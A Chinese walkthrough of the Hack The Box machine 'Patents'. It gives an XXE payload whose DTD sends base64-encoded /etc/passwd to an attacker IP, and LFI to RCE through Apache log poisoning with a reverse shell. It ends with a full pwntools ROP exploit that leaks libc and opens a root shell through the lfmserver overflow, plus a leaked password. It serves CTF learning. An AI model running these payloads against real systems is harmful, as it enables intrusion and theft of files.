基本信息
端口扫描
80 一个Patents管理系统,存在一个上传接口,上传docx转换成pdf:
目录扫描 1 gobuster dir -u http://10.10.10.173/ -w /usr/share/wordlists/dirb/common.txt -x php -b 403,404
发现一个release目录,进一步扫描:
发现更新log文件:
http://10.10.10.173/release/UpdateDetails
里面提到Docx2Pdf的相关漏洞
docx xxe docx解压后里面是xml文件,可以尝试进行XXE:
添加一个xml进去,重新打包成docx:
监听端口,上传生成的docx,收到请求,说明存在XXE:
接下来需要做的就是通过XXE读取文件搜集信息
XXE LFI 1 2 3 4 5 6 7 8 9 10 11 12 13 $ cat read.dtd <!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> <!ENTITY % read "<!ENTITY exfil SYSTEM 'http://10.10.14.106:7777/exfil?%file;'>"> cat customXml/item1.xml <?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY % xxe SYSTEM "http://10.10.14.106:7777/read.dtd"> %xxe; %read; ]> <foo>&exfil;</foo>
上传,收到请求,base64解码后是读取的文件内容:
/etc/passwd
得到一个用户名 : gbyolo
/etc/apache2/sites-enabled/000-default.conf 前面扫描结果中有config.php,但直接去读/var/www/html/config.php是失败的,应该不是在默认的根目录,所以先读配置文件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <VirtualHost *:80> DocumentRoot /var/www/html/docx2pdf <Directory /var/www/html/docx2pdf/> Options -Indexes +FollowSymLinks +MultiViews AllowOverride All Order deny,allow Allow from all </Directory> ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined </VirtualHost>
/var/www/html/docx2pdf/config.php 1 2 3 4 5 6 7 8 <?php # needed by convert.php $uploadir = 'letsgo/'; # needed by getPatent.php # gbyolo: I moved getPatent.php to getPatent_alphav1.0.php because it's vulnerable define('PATENTS_DIR', '/patents/'); ?>
发现提示信息,getPatent_alphav1.0.php是存在漏洞的, 但无法直接读取这个文件的内容。
LFI to RCE LFI 直接去访问getPatent_alphav1.0.php,提示通过ID读取内容:
直接尝试目录遍历读取失败:
但使用两次../
嵌套的话,成功,说明后端处理应该是简单的移除掉一次../
:
所以这里也存在一个LFI
log file 同样,我们也可以读取log文件var/log/apache2/access.log
,注意会直接输出客户端信息例如UA,:
如果将UA修改为php代码,那么响应的log中就会直接显示执行后的结果(如果前面扫描产生的日志太多,建议reset一下机器):
reverse shell 直接修改代码,反弹shell, 注意编码:
这个只是www-root用户,上传个pspy64收集信息:
1 2 3 4 5 6 curl http://10.10.14.106:7777/pspy64 -o pspy64 2020/05/18 08:11:01 CMD: UID=0 PID=853 | /usr/sbin/CRON -f 2020/05/18 08:11:01 CMD: UID=0 PID=855 | /bin/sh -c env PASSWORD="!gby0l0r0ck\$\$!" /opt/checker_client/run_file.sh 2020/05/18 08:11:01 CMD: UID=0 PID=856 | 2020/05/18 08:11:01 CMD: UID=0 PID=857 | python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD /var/www/html/docx2pdf/convert.php
注意到env中直接有一个密码
使用这个密码可以su切到root,但这个root并不是最终目标, 现在只是在docker里:
user flag 使用上面得到的root,可以在用户目录得到user.txt:
checker_client 前面也看到是cron运行的/opt/checker_client下的相关文件,我们检查下这些文件:
run_file.sh 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 cat run_file.sh #!/bin/bash echo $(date) > /opt/checker_runnedFOLDER=/var/www/html/docx2pdf FILE=/var/www/html/docx2pdf/convert.php NEWFILE=$(python checker.py 10.100.0.1:8888 lfmserver_user PASSWORD $FILE ) if [ -z $NEWFILE ]; then echo "File not corrupted." exit fi if [ -f $NEWFILE ]; then echo "File corrupted. Copying new file..." cp $NEWFILE $FILE if [ $? -ne 0 ]; then echo "Couldn't restore file" else echo "File restored successfully" rm -f $NEWFILE fi else echo "File not corrupted. Not doing anything" fi
这个脚本检查/var/www/html/docx2pdf/convert.php的完整性,如果被修改,会进行还原。
checker.py 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 cat checker.py import sysimport osfrom utils import md5,recvlineimport socketINPUTREQ = "CHECK /{} LFM\r\nUser={}\r\nPassword={}\r\n\r\n{}\n" if len(sys.argv) != 5 : print "Usage: " + sys.argv[0 ] + " <host>:<port> <user> <pass> <file>" exit(-1 ) HOST = sys.argv[1 ] var = HOST.split(":" ) if len(var) != 2 : print "Usage: " + sys.argv[0 ] + " <host>:<port> <user> <pass> <file>" exit(-1 ) try : PORT = int(var[1 ]) except ValueError: print "Port number must be integer" exit(-1 ) HOST = var[0 ] USER = sys.argv[2 ] try : PASS = os.environ[sys.argv[3 ]] except KeyError: print "Couldn't find such password" exit(-1 ) FILE = sys.argv[4 ] base = os.path.basename(FILE) try : md5sum = md5(FILE) except IOError: print "File not found locally" exit(-1 ) REALREQ = INPUTREQ.format(base, USER, PASS, md5sum) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall(REALREQ) resp = s.recv(4096 ) s.close() if "LFM 200 OK" in resp: exit(0 ) if "404" in resp: print "File not found on server" exit(-1 ) REQ = "GET /{} LFM\r\n\r\n" .format(base) s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((HOST, PORT)) s.sendall(REQ) recvline(s) recvline(s) recvline(s) resp = s.recv(8192 ) s.close() with open("{}.new" .format(base), "wb" ) as f: f.write(resp) print "{}.new" .format(base)
其中的INPUTREQ类似HTTP请求格式,它计算convert.php的md5 hash,然后构造请求数据包,发送到10.100.0.1:8888,获取响应。200或者404响应脚本退出。如果发现文件损坏,则会GET请求下载新文件。
/usr/src/lfm 存在一个lfm目录,应该是和前面的lfmserver相关,是一个git repo:
可以把整个目录下载下来分析
1 2 3 4 tar cvf /var/www/html/docx2pdf/src.tar lfm wget http://10.10.10.173/src.tar tar xvf src.tar cd lfm
lfmserver 根据git log,回退到删除文件之前的版本,得到lfmserver的二进制文件,其他版本还能够得到源码:
1 git reset --hard a900ccf7ae75b95db5f2d134d80e359a795e0cc6
逆向分析 整个过程可以结合git得到的源码
IDA直接F5出错,换Ghidra,在Symbol Tree中找到entry():
FUN_004055c2 这个函数是libc_start_main()的第一个参数,即main()函数,点进去右键 edit the signature.
主要功能大概是检查参数数量,然后调用FUN_00404978检查参数,这里为了方便修改为check_args()
Defined strings里也能发现之前在bash里看到的用户名密码:
FUN_00403ad9 Ctrl + Shift + F 查看密码的 references
可以看到有两次被作为函数参数使用,点击能够追踪到FUN_00403ad9函数,这个函数检查用户名和密码,检查通过会调用FUN_00402db9():
FUN_00402db9 这个函数三个参数,第一个参数是请求路径,第二个是大小为128的缓冲区,最后一个参数是请求路径的长度:
这个函数在路径中循环查找%字符,找到后会使用strtoul()将字符转换成数字,转换后的字符串保存到buf,很明显这是URL解码,server会将URL编码的字符进行解码。
同样很明显,如果超出缓冲区长度,没有进行检查来停止转换,这意味着这里存在overflow,可能地利用点。
回到之前的FUN_00403ad9函数,注意这里会检查文件是否存在,文件不存在会直接返回,那么就不会调用溢出的指针,我们可以通过请求一个已知文件,例如convert.php,并在末尾附加一个空字节,这样字符串在空字节处终止,也能够通过文件检查。
Exploit Development 常规的debug,leak addr,计算libc base,rop构造
注意点
url编码
sock_fd = 6
dup2将stdin,stdout,stderr复制到sock fd
详情查看参考资料,视频也很详细
我用的是这个里面的exp
root shell exp打到的shell很容易断,直接反弹shell后续操作:
这里因为python版本问题format输出不正常
但这个root shell没有root.txt:
lsblk & mount lsblk发现root是/dev/sdb,另外还有个/dev/sda:
root flag sda2是根目录,我们可以挂载sda2,在mount后的目录中存在另一个root目录,得到root.txt:
使用的exp 注意libc版本,用的这个:
https://launchpad.net/ubuntu/cosmic/amd64/libc6/2.28-0ubuntu1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 import urllib.parsefrom pwn import *if len(sys.argv) != 2 or sys.argv[1 ] not in ['local' , 'remote' ]: print("Usage: {sys.argv[0]} [target]\n target is local or remote\n" ) sys.exit(1 ) target = sys.argv[1 ] lfmserver = ELF('./lfmserver' ) if target == 'local' : libc = ELF('/lib/x86_64-linux-gnu/libc.so.6' , checksec=False ) ip = '127.0.0.1' port = 5000 one_gadget_offset = 0xc84da else : libc = ELF("./libc-2.28.so" ) ip = '10.10.10.173' port = 8888 one_gadget_offset = 0x501e3 sock_fd = 6 pop_rdi = p64(0x0000000000405c4b ) pop_rsi_r15 = p64(0x0000000000405c49 ) payload = "CHECK /%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd%xx" + "a" * 125 + "{} LFM\r\nUser=lfmserver_user\r\nPassword=!gby0l0r0ck$$!\r\n\r\n" rop = pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(lfmserver.got['socket' ]) + p64(0 ) + p64(lfmserver.plt['write' ]) p = remote(ip, port) p.sendline(payload.format(urllib.parse.quote(rop))) data = p.recvall() socket_addr = u64(data.split(b'\n' )[1 ][:8 ].ljust(8 , b"\x00" )) log.info("Found socket address: 0x{socket_addr:016x}" ) libc_base_addr = socket_addr - libc.symbols['socket' ] log.info("Calculated libc base address: 0x{libc_base_addr:016x}" ) one_gadget_addr = libc_base_addr + one_gadget_offset log.info("Calculated one gadget address: 0x{one_gadget_addr:016x}" ) print() p = remote(ip, port) rop = pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(0 ) + p64(0 ) + p64(lfmserver.plt['dup2' ]) rop += pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(1 ) + p64(0 ) + p64(lfmserver.plt['dup2' ]) rop += pop_rdi + p64(sock_fd) + pop_rsi_r15 + p64(2 ) + p64(0 ) + p64(lfmserver.plt['dup2' ]) rop += p64(one_gadget_addr) log.info("Sending stage two rop" ) p.sendline(payload.format(urllib.parse.quote(rop))) p.recv(22 ) p.interactive()
参考资料
最終更新:2020-05-21 13:05:45
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会